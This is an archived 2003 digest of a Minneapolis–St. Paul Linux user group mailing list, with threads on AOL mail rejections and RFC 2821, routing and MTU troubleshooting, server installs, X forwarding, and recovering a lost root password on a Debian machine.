_______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Sun Aug 24 00:09:23 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] AOL new mail policy In-Reply-To: <000401c369ea$90b7bc50$0436a8c0@Kurama> References: <000401c369ea$90b7bc50$0436a8c0@Kurama> Message-ID: On Sat, 23 Aug 2003, Joseph wrote: > I was tried to send a message to an AOL account from my home network and > I received the following error message from them. > The original message was received at Thu, 21 Aug 2003 17:39:30 -0500 > from IDENT:1000@Lum.tomobiki.dyndns.org [192.168.57.2] due to the SPAMdemic many ISP are finding out that RFCs are in fact a Good Thing(tm) and that following them greatly reduces spam. too lazy to check the exact RFC at this moment, but basically it states that the sending mailserver has to have an MX record, that is it has to be a mailserver. Another thing that the recipient mailserver should check for is the domain sent with the helo/ehlo command, many sendmail installations simply send localhost, which is invalid according to the RFC, and should also be rejected. So what you have to do is basically use your ISP smtp server to send mail. Or setup your own, which means you need a static IP. I have been have been using these measures on my mailservers for the past 3-4 months or so reducing SPAM by over 90% with only one legitimate mailserver being refused. A polite but firm email to the administrator fixed that. Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From crc1021 at myrealbox.com Sun Aug 24 00:32:40 2003 From: crc1021 at myrealbox.com (Eric Lofstad) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] can't get OSDN sites In-Reply-To: <001101c369f2$870304f0$0201a8c0@brinstar> References: <1061643391.ec28a0e0crc1021@myrealbox.com> <1061670013.24232.16.camel@3po> <20030823210144.3ac08fa7.crc1021@myrealbox.com> <001101c369f2$870304f0$0201a8c0@brinstar> Message-ID: <20030824003240.649cc0bb.crc1021@myrealbox.com> I stumbled across this link which pointed me in the right direction. http://neurosis.hungry.com/~ben/software/home-network.html I have the MTU set low (500), and for some reason the negotiation with a few of the OSDN sites was not working. When I bumped the MTU to 1500, it works. On Sat, 23 Aug 2003 22:48:06 -0500 "David Phillips" wrote: > Eric Lofstad writes: > > Could the ISP have inserted a transparent > > proxy which is screwing thing up? > > Yes. To see if there is a proxy, visit this URL. If the IP shown is not > yours, then there is a proxy: > > http://ip.itmom.net/ > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sun Aug 24 08:45:33 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] AOL new mail policy References: <000401c369ea$90b7bc50$0436a8c0@Kurama> Message-ID: <001a01c36a45$fda9b0b0$0201a8c0@brinstar> Munir Nassar writes: > too lazy to check the exact RFC at this moment, but basically it > states that the sending mailserver has to have an MX record, that is > it has to be a mailserver. You should check RFC 2821, because it says no such thing. > Another thing that the recipient > mailserver should check for is the domain sent with the helo/ehlo > command, many sendmail installations simply send localhost, which is > invalid according to the RFC, and should also be rejected. RFC 2821 section 3.6 states that the name given must be a primary host name or an address literal. Section 4.1.4 states that the server may verify the name given, but must not refuse to accept a message because the verification failed. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jkey at tomobiki.dyndns.org Sun Aug 24 08:55:52 2003 From: jkey at tomobiki.dyndns.org (Joseph) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] AOL new mail policy In-Reply-To: <001001c369f2$28c8b470$0201a8c0@brinstar> Message-ID: <000201c36a47$6ea58770$0436a8c0@Kurama> >You need to send mail for AOL through your ISP's mail server. This is how >you do it with qmail: > >echo aol.com:smtp.your-isp.com >> /var/qmail/control/smtproutes > >The same policy is in effect for netscape.net and rr.com. > >-- >David Phillips >http://david.acz.org/ Yes but when you ISP is MSN and they have the proprietary Secure Password Authorization you can't use the linux tools to send to them. Joseph Key _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jkey at tomobiki.dyndns.org Sun Aug 24 09:09:05 2003 From: jkey at tomobiki.dyndns.org (Joseph) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] Increase in web hits Message-ID: <000301c36a49$47204580$0436a8c0@Kurama> I was checking my web logs using AWSTATS and noticed that the number of unique visitors jumped from a normal of 20-30 to 1000+ this month. Looking closer most of the activity started on the 18th of Aug. Checking the logs directly the bulk of activity is just requesting the / page without getting any of the icons on the page. An example of the hits is: clt56-123-110.carolina.rr.com - - [24/Aug/2003:07:47:16 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" cpe-65-28-6-244.kc.rr.com - - [24/Aug/2003:07:47:25 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" wbar8.sea1-4-4-076-158.sea1.dsl-verizon.net - - [24/Aug/2003:07:50:34 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" 81.168.14.40 - - [24/Aug/2003:07:52:32 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" 63.205.132.163 - - [24/Aug/2003:08:04:35 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" ts46-04-qdr1141.mdfrd.or.charter.com - - [24/Aug/2003:08:08:04 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" 24-196-104-41.jvl.wi.charter.com - - [24/Aug/2003:08:09:34 -0500] "GET / HTTP/1. 1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" adsl-64-168-191-223.dsl.lsan03.pacbell.net - - [24/Aug/2003:08:12:50 -0500] "GET / HTTP/1.1" 200 2629 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" So is this a worm scanning for systems to attack? Is it some script kiddies scanning for systems to attack? Joseph Key _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From gsker at tcfreenet.org Sun Aug 24 10:16:55 2003 From: gsker at tcfreenet.org (Gerald Skerbitz) Date: Mon Jan 17 12:40:54 2005 Subject: [TCLUG] Routing problem from comcast to freenet In-Reply-To: <20030824095704.O64170-200000@tcfreenet.org> Message-ID: <20030824100828.O64170-200000@tcfreenet.org> I can't get to the freenet from my comcast cablemodem connection. Can't pop, can't telnet, can't ssh, can't IMAP. Just can't get there from here. I am currently connected from my work network which works fine. I've attached my notes with traceroutes and stuff. I tried it with all my firewalling rules off. No go. I ssh'ed to another site and it worked fine. How can I find out what's broken? Oh. I THINK it stopped working yesterday afternoon when my cablemodem lights abruptly went out and I lost connection for a minute or so. My fetchmail logs show failures after 1:40 or so. Thanks, Gerry -------------- next part -------------- Summary: I can ssh to other sites but not to the freenet. I can ssh to the freenet from work. It looks like there's a routing problem somewhere. from home: eth1 Link encap:Ethernet HWaddr 00:60:08:C7:BB:78 inet addr:66.41.78.109 Bcast:255.255.255.255 Mask:255.255.252.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:95654 errors:0 dropped:0 overruns:0 frame:0 TX packets:2736 errors:0 dropped:0 overruns:0 carrier:0 collisions:61 txqueuelen:100 RX bytes:7532132 (7.1 Mb) TX bytes:429050 (418.9 Kb) Interrupt:9 Base address:0x1040 #/home/gsker>traceroute tcfreenet.org traceroute to tcfreenet.org (209.98.210.137), 30 hops max, 38 byte packets 1 * * * 2 24.31.2.133 (24.31.2.133) 7.921 ms 7.629 ms 8.289 ms 3 bic04-p2-0.rosehe1.mn.attbb.net (24.31.2.46) 7.806 ms 8.564 ms 8.101 ms 4 12.126.248.33 (12.126.248.33) 8.959 ms 8.339 ms 8.694 ms 5 12.126.248.106 (12.126.248.106) 12.133 ms 9.745 ms 8.797 ms 6 fa0-0.c7200-3.border.stpaul.visi.com (208.42.1.18) 16.717 ms 14.003 ms 16.232 ms 7 * * * #/home/gsker>route Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 66.41.76.0 * 255.255.252.0 U 0 0 0 eth1 10.0.0.0 * 255.0.0.0 U 0 0 0 eth0 127.0.0.0 * 255.0.0.0 U 0 0 0 lo default c-66-41-76-1.mn 0.0.0.0 UG 0 0 0 eth1 #/home/gsker> And then, moving to the state connection: I can't traceroute to the freenet because of the firewalling. I can, however, telnet there just fine. I can't traceroute OUT of the state, but I tracerouted from the freenet back: [gsker@tcfreenet(~)]: /usr/sbin/traceroute www.health.state.mn.us traceroute to www.health.state.mn.us (156.98.150.11), 64 hops max, 40 byte packets 1 209.98.210.142 (209.98.210.142) 0.446 ms 0.356 ms 0.375 ms 2 fa0-1-0.core-1.stpaul.visi.com (208.42.1.1) 0.578 ms 0.694 ms 0.533 ms 3 posx-x-x.core-1.mpls.visi.com (208.42.3.245) 1.507 ms 1.540 ms 1.898 ms 4 500.POS2-1.GW4.MSP1.ALTER.NET (157.130.98.1) 3.455 ms 1.968 ms 2.290 ms 5 110.at-1-1-0.CL1.MSP1.ALTER.NET (152.63.67.90) 2.083 ms 1.828 ms 1.760 ms 6 0.so-6-0-0.XL1.CHI13.ALTER.NET (152.63.70.101) 12.401 ms 22.188 ms 15.237 ms 7 POS6-0.BR1.CHI13.ALTER.NET (152.63.73.18) 17.800 ms 13.063 ms 12.441 ms 8 so-0-0-0.edge1.Chicago1.Level3.net (209.0.225.41) 10.592 ms 11.274 ms 11.661 ms 9 so-2-1-0.bbr2.Chicago1.level3.net (209.244.8.13) 10.555 ms 11.166 ms 10.5 70 ms 10 so-2-0-0-100.chcgil2-br2.bbnplanet.net (64.159.4.10) 10.956 ms 10.985 ms 10.481 ms 11 p1-0.chcgil2-cr10.bbnplanet.net (4.24.9.50) 11.708 ms 10.807 ms 12.435 ms 12 p1-0.minnesota.bbnplanet.net (4.24.226.74) 20.877 ms 21.342 ms 20.983 ms 13 lena-gtr.northernlights.gigapop.net (192.42.152.1) 23.486 ms 20.629 ms 20.703 ms 14 umn-signe-Fa0-0.r.state.mn.us (207.171.110.98) 21.140 ms 22.161 ms 20.310 ms 15 mpls-mdh-ATM3-0-909.r.state.mn.us (207.171.70.113) 22.679 ms 21.802 ms 21.137 ms ^C [gsker@tcfreenet(~)]: However, tracerouting back from the freenet to my comcast address just gives me stars. No response. Help!!! From smac at visi.com Sun Aug 24 14:38:34 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Routing problem from comcast to freenet In-Reply-To: <20030824100828.O64170-200000@tcfreenet.org> References: <20030824100828.O64170-200000@tcfreenet.org> Message-ID: <3F49143A.3040804@visi.com> Gerald Skerbitz wrote: >I can't get to the freenet from my comcast cablemodem connection. > >Can't pop, can't telnet, can't ssh, can't IMAP. Just can't get there from >here. I am currently connected from my work network which works fine. > >I've attached my notes with traceroutes and stuff. I tried it with all my >firewalling rules off. No go. I ssh'ed to another site and it worked >fine. > >How can I find out what's broken? > >Oh. I THINK it stopped working yesterday afternoon when my cablemodem >lights abruptly went out and I lost connection for a minute or so. My >fetchmail logs show failures after 1:40 or so. > > >Thanks, >Gerry > >However, tracerouting back from the freenet to my comcast address just >gives me stars. No response. > >Help!!! > > *23rd August, 2003 - Next Gen routing now in experimental branch* The most fundamental improvement to Freenet's core algorithm, "Next Generation Routing", is now in the experimental branch of CVS. NGrouting holds the promise of making Freenet much faster than it is today, while improving virtually all aspects of Freenet's performance. To learn more about NGrouting see here , if you would like to try it out see here . ************ Maybe the routing change is causing you some issues. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sulrich at botwerks.org Sun Aug 24 14:46:05 2003 From: sulrich at botwerks.org (steve ulrich) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Routing problem from comcast to freenet In-Reply-To: <3F49143A.3040804@visi.com> References: <20030824100828.O64170-200000@tcfreenet.org> <3F49143A.3040804@visi.com> Message-ID: <20030824194605.GA15445@botwerks.org> when last we saw our hero (Sunday, Aug 24, 2003), Sam MacDonald was madly tapping out: > Gerald Skerbitz wrote: > > >I can't get to the freenet from my comcast cablemodem connection. > > > >Can't pop, can't telnet, can't ssh, can't IMAP. Just can't get > >there from here. I am currently connected from my work network > >which works fine. > > > >I've attached my notes with traceroutes and stuff. I tried it with > >all my firewalling rules off. No go. I ssh'ed to another site and > >it worked fine. > > > >How can I find out what's broken? > > > >Oh. I THINK it stopped working yesterday afternoon when my > >cablemodem lights abruptly went out and I lost connection for a > >minute or so. My fetchmail logs show failures after 1:40 or so. > > > > > >Thanks, Gerry > > > >However, tracerouting back from the freenet to my comcast address > >just gives me stars. No response. > > > >Help!!! i think that he's actually referring to the routing to/from the twin cities freenet [1]. which is actually in the visi netblock, 209.98.0.0/16. the new routing algorithm inside freenet[2] project is neat too though. ;-) {snipped - misc freenet, the p2p app, info } references ---------- [1] http://www.tcfreenet.org [2] http://freenet.sf.net -- steve ulrich sulrich@botwerks.org PGP: 8D0B 0EE9 E700 A6CF ABA7 AE5F 4FD4 07C9 133B FAFC _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From robert at azone.org Sun Aug 24 14:53:32 2003 From: robert at azone.org (Robert Ebright) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] visiting from Chicago- need Linux cd + cool stuff going on in MN In-Reply-To: <20030824100828.O64170-200000@tcfreenet.org> References: <20030824095704.O64170-200000@tcfreenet.org> <20030824100828.O64170-200000@tcfreenet.org> Message-ID: <1329.160.94.28.153.1061754812.squirrel@azone.org> Hello everybody. I'm currently in Minneapolis and looking around for a copy of linux, the distro isn't important, but I want to install it for my girlfriend who is working on a organic farm for the summer and wants to relearn how to program in her freetime. So we were going to work on LAMP projects. Basically it's an older PC P-133 w/ 64megs and a 1.6 gig hard drive, so an older distro or one that includes some of the lighter GUIs would be ideal. I just haven't been able to find access to a cd-burner and high speed internet, so I thought I would appeal to the local linux community and see if anybody has an extra copy lying around or could burn one, that I could meet up with and pick it up wherever. I have a bike and a lot of free time but not much money. Are there any cool computer co-ops in this city, and if not, why not ? Or else does anyone know of a store that has burnt (not boxed) copies of linux for sale, maybe out of the walnut creek catalog so they're only 5$. The cities have been pretty inspirational to me thus far with the wide network of worker-coops and projects like that but I haven't found very many cool tech-orientated places, perhaps there just isn't the link between the social-minded progressive projects and the free software movement that I'm used to being in Chicago... Also have you heard about the cities plan to create free wifi hot spots at all of the recreation centers and parks ? I read about it in the Pulse last week, that's pretty exciting. Is there a community wifi movement going on in this city if so I'd love to meet up with some of the people involved in it cuz I'm trying to do something like that in Chicago but haven't got it going yet due to a extreme lack of funds. Also the idea of creating 802.11b wireless freenet nodes is a good way of creating a back-up redudnant freenet network that will go beyond existing infrastructure and also provide a secure way of using the openness of WIFI with it's built in encryption of each transactions. And thanks to the anonymity of it providing the public with internet access to the freenet project can't get you in trouble. That was atleast my idea for some wifi stuff, of course ideally we would just give everybody free internet access. So anybody who has an extra distro of linux that they could share I'd appreciate it. You can e-mail me or page me at 866-377-9733 and I'll get back to you. Thanks alot, if I'm still in town I'll probably try and check out your next meeting on the 28th right ? Chao, Robbt _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From gsker at tcfreenet.org Sun Aug 24 21:44:24 2003 From: gsker at tcfreenet.org (Gerry) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Routing problem from comcast to freenet In-Reply-To: <20030824194605.GA15445@botwerks.org> References: <20030824100828.O64170-200000@tcfreenet.org> <3F49143A.3040804@visi.com> <20030824194605.GA15445@botwerks.org> Message-ID: On Sun, 24 Aug 2003, steve ulrich wrote: > when last we saw our hero (Sunday, Aug 24, 2003), > Sam MacDonald was madly tapping out: > > Gerald Skerbitz wrote: > > > > >I can't get to the freenet from my comcast cablemodem connection. > > > > > >Can't pop, can't telnet, can't ssh, can't IMAP. Just can't get > > >there from here. I am currently connected from my work network > > >which works fine. [snip] > i think that he's actually referring to the routing to/from the twin > cities freenet [1]. which is actually in the visi netblock, > 209.98.0.0/16. the new routing algorithm inside freenet[2] project is > neat too though. ;-) Yes. I was talking about tcfreenet.org and not a "freenet". Any clues? Anyone else seeing this? -- Gerry Skerbitz gsker@tcfreenet.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Sun Aug 24 22:32:19 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Routing problem from comcast to freenet In-Reply-To: References: <20030824100828.O64170-200000@tcfreenet.org> <3F49143A.3040804@visi.com> <20030824194605.GA15445@botwerks.org> Message-ID: <20030825033218.GA5070@fandre.com> On Sun, 24 Aug 2003, Gerry wrote: > On Sun, 24 Aug 2003, steve ulrich wrote: > > when last we saw our hero (Sunday, Aug 24, 2003), > > Sam MacDonald was madly tapping out: > > > Gerald Skerbitz wrote: > > > > > > >I can't get to the freenet from my comcast cablemodem connection. > > > > > > > >Can't pop, can't telnet, can't ssh, can't IMAP. Just can't get > > > >there from here. I am currently connected from my work network > > > >which works fine. > [snip] > > i think that he's actually referring to the routing to/from the twin > > cities freenet [1]. which is actually in the visi netblock, > > 209.98.0.0/16. the new routing algorithm inside freenet[2] project is > > neat too though. ;-) > > Yes. I was talking about tcfreenet.org and not a "freenet". > > Any clues? Anyone else seeing this? > SSH and telnet works for me on my Comcast connection: [cfandre@einstein cfandre]$ nc tcfreenet.org 22 SSH-1.99-OpenSSH_3.4p1 punt! [root@einstein cfandre]# mtr --curses -c 2 -r tcfreenet.org HOST LOSS RCVD SENT BEST AVG WORST 192.168.200.1 0% 2 2 4.64 4.64 4.65 10.231.16.1 0% 2 2 10.16 11.62 13.08 24.31.2.237 0% 2 2 10.20 12.05 13.89 bar01-p5-0-0.maplhe1.mn.attbb.net 0% 2 2 10.20 13.23 16.26 24.31.2.107 0% 2 2 10.22 10.62 11.03 12.126.248.33 0% 2 2 10.15 10.22 10.29 12.126.248.106 0% 2 2 10.16 10.67 11.19 fa0-0.c7200-3.border.stpaul.visi. 0% 2 2 10.34 11.69 13.05 tcfreenet.org 0% 2 2 10.08 10.48 10.88 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Sun Aug 24 22:32:38 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Cygwin In-Reply-To: <3F476EB0.4000805@visi.com> References: <3F4642D5.5060101@visi.com> <3F476EB0.4000805@visi.com> Message-ID: <200308242232.39533.list@slushpupie.com> On Saturday 23 August 2003 08:40, Sam MacDonald wrote: > Putty question > X display location > This is something the Putty documentation talks about but never > really explains what to do with it. Is this the local path to the x > window manager i.e. c:\cygwin\....? X works off "Display Numbers". By default your DISPLAY variable will be :0 or if you use multiple screens, :0.0 . It is possible to have multiple X servers running on the same physical hardware, so they get different numbers. For example, I use :0 for high res, and :1 for low res (so the g.f. can read the screen). What these numbers correspond to is like a tcp port number offset, so different applications can talk to the different displays. I think what putty is asking for is :0 or something. Its not worded very well, so its hard for me to say (any PuTTY users out there who use this feature?). What the openssh implementations do for secure X forwarding is on the remote machine, create a listening socket on display :10 (or whatever is availible- this is configurable by the ssh server) and sets the envionmental stuff for it. Then, it forwards any traffic it gets over the encrypted tunnel, and gives it to the local X session via the DISPLAY variable. Since ssh does all the work for you, its a lot easier than working with "xhost +whatever" and specifying displays. Jay -- Jay Kline http://www.slushpupie.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at bnac.biz Sun Aug 24 22:51:28 2003 From: kcbnac at bnac.biz (kcbnac@bnac.biz) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Potential Server needs help! Message-ID: <1061783487.3f4987c001669@208.179.130.60> I have this potential server (discussed several days ago in previous thread) IBM PC Server 330 (Dual P-II, SCSI everything, etc) I can't get RH 9 to load...anybody got a clue? (using CD...I'm going to try making a boot floppy) Has anyone ever worked with one of these, or have much experience with SCSI devices that would be availible to do some on-site help? (Your place or mine, doesn't matter...I'm on the north side of the cities, just north of Anoka) Or...what sites should I look at for possible documentation/links to articles/pages with this info? (I've had a massive brain fart the past few days...couldn't think of any of 'em...) Thanks! Keith Bachman _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at bnac.biz Sun Aug 24 23:01:19 2003 From: kcbnac at bnac.biz (kcbnac@bnac.biz) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Potential Server needs help! Message-ID: <1061784079.3f498a0f3fdd8@208.179.130.60> I need some help getting this system up and running. IBM PC Server 330. Your place or mine, I'm up north of Anoka (about 45 minutes-hour from TC) Can't seem to get Red Hat 9.0 to install (I think it's not detecting/booting from SCSI CD-ROM) Also, will need help getting the server-side set up. (I've only done a few basic installs for fun, no server experience) I will need: (and able to turn on/off each at most any time) DHCP (Server & Client) FTP Internet Access (can/will add 2nd NIC) Also, if anybody knows of where I can find 4+ more HD hot-swap trays for the SCSI HDs. (I have a small pile of 18.2GB 10ks that need racks) The extra HDs will go in as soon as I have racks (Only have two as of right now) Let me know if you can help with any of the above! Thanks! Keith Bachman PS- Assuming we get it working (why wouldn't we?) everyone at the installfest will love it...(local mirror and all...) _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Sun Aug 24 23:11:37 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Potential Server needs help! In-Reply-To: <1061784079.3f498a0f3fdd8@208.179.130.60> References: <1061784079.3f498a0f3fdd8@208.179.130.60> Message-ID: <20030824231137.004bb299.sfertch@real-time.com> Well, First off you need to know the brand/model of your SCSI controller. That way you can make a boot/root floppy for your system with the appropriate kernel. Don't have and RH experience in that, but Slackware was pretty decent on supplying boot/root images. =) Haven't done it since Slack 8.x, but it's very straight forward. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From admin at lctn.org Mon Aug 25 04:33:08 2003 From: admin at lctn.org (Raymond Norton) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] user password change Message-ID: <0fe001c36aeb$e509cf30$5964640a@DELL2> I figured out how to import 1200+ users into my Linux box using webmin. Unfortunately, I had to make each password generic. What can I use so windows users can change their password on my Linux server? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Mon Aug 25 06:56:36 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] user password change In-Reply-To: <0fe001c36aeb$e509cf30$5964640a@DELL2> References: <0fe001c36aeb$e509cf30$5964640a@DELL2> Message-ID: <20030825065636.7f2f0beb.list@slushpupie.com> On Mon, 25 Aug 2003 04:33:08 -0500 "Raymond Norton" wrote: >I figured out how to import 1200+ users into my Linux box using webmin. >Unfortunately, I had to make each password generic. What can I use so >windows users can change their password on my Linux server? You might check out usermin (www.usermin.com) which allows web access to do unix kinds of things. Just make sure it is secured. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Mon Aug 25 09:19:56 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] visiting from Chicago- need Linux cd + cool stuff going on in MN In-Reply-To: <1329.160.94.28.153.1061754812.squirrel@azone.org> References: <20030824095704.O64170-200000@tcfreenet.org> <20030824100828.O64170-200000@tcfreenet.org> <1329.160.94.28.153.1061754812.squirrel@azone.org> Message-ID: On Sun, 24 Aug 2003 14:53:32 -0500 (CDT), Robert Ebright wrote: > Hello everybody. > > I'm currently in Minneapolis and looking around > for a copy of linux, the distro isn't important, > but I want to install it for my girlfriend who > is working on a organic farm for the summer and > wants to relearn how to program in her freetime. > So we were going to work on LAMP projects. > > Basically it's an older PC P-133 w/ 64megs and a > 1.6 gig hard drive, so an older distro or one > that includes some of the lighter GUIs would be > ideal. I got a bunch of distros on CDROM - let me know what you want. I can meet you downtown Minneapolis any time during normal business hours. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Mon Aug 25 09:26:37 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] Routing problem from comcast to freenet In-Reply-To: <20030824100828.O64170-200000@tcfreenet.org> Message-ID: On Sun, 24 Aug 2003, Gerald Skerbitz wrote: > I can't get to the freenet from my comcast cablemodem connection. > > Can't pop, can't telnet, can't ssh, can't IMAP. Just can't get there from > here. I am currently connected from my work network which works fine. > > I've attached my notes with traceroutes and stuff. I tried it with all my > firewalling rules off. No go. I ssh'ed to another site and it worked > fine. > > How can I find out what's broken? I seem to recall that Portsentry was installed on the TCFN shell machine. My immediate guess is that your home IP got blacklisted for some reason. (Your attached diagnostics seem to reinforce this theory.) I'd contact their support people. Be sure to specify your IP. HTH. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Mon Aug 25 10:10:32 2003 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] single user mode without root passwd Message-ID: <1061824232.3f4a26e845a78@my.visi.com> Hey everyone, I maintained the Web server at the school district where I used to work. After moving on to a new job I sat down with the head geek over there and they reset the root password. Unfortunately, it seems that the root password was mangled on entry and now no one can log in as root. I thought that booting into single user mode would allow someone to change the root password without knowing the old root password. On this box, however, typing 'linux single' on boot still brings up a password prompt. I don't know if there is a boot floppy anywhere. This is a recently updated Debian 3.0 machine. Can anyone offer some advice on how to reset root? -Tim -- Timothy D. Wilson Twin Cities, Minnesota, USA email: wilson@visi.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Mon Aug 25 10:19:38 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] single user mode without root passwd In-Reply-To: <1061824232.3f4a26e845a78@my.visi.com> References: <1061824232.3f4a26e845a78@my.visi.com> Message-ID: <20030825151938.GD10495@fandre.com> The easiest way: Boot from a BBC, mount the /etc partition rw and vi the /etc/passwd file and remove the x. Reboot and you'll be able to log in without a password. Make sure the network is disconnected before you do this. On Mon, 25 Aug 2003, Timothy Wilson wrote: > Hey everyone, > > I maintained the Web server at the school district where I used to work. After > moving on to a new job I sat down with the head geek over there and they reset > the root password. Unfortunately, it seems that the root password was mangled on > entry and now no one can log in as root. > > I thought that booting into single user mode would allow someone to change the > root password without knowing the old root password. On this box, however, > typing 'linux single' on boot still brings up a password prompt. I don't know if > there is a boot floppy anywhere. This is a recently updated Debian 3.0 machine. > > Can anyone offer some advice on how to reset root? > > -Tim > > -- > Timothy D. Wilson > Twin Cities, Minnesota, USA > email: wilson@visi.com > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Mon Aug 25 10:21:12 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:55 2005 Subject: [TCLUG] single user mode without root passwd In-Reply-To: <1061824232.3f4a26e845a78@my.visi.com>; from wilson@visi.com on Mon, Aug 25, 2003 at 10:10:32AM -0500 References: <1061824232.3f4a26e845a78@my.visi.com> Message-ID: <20030825102112.A474@thinkunix.net> try this at the boot prompt: linux init=/bin/sh Timothy Wilson wrote: > Hey everyone, > > I maintained the Web server at the school district where I used to work. After > moving on to a new job I sat down with the head geek over there and they reset > the root password. Unfortunately, it seems that the 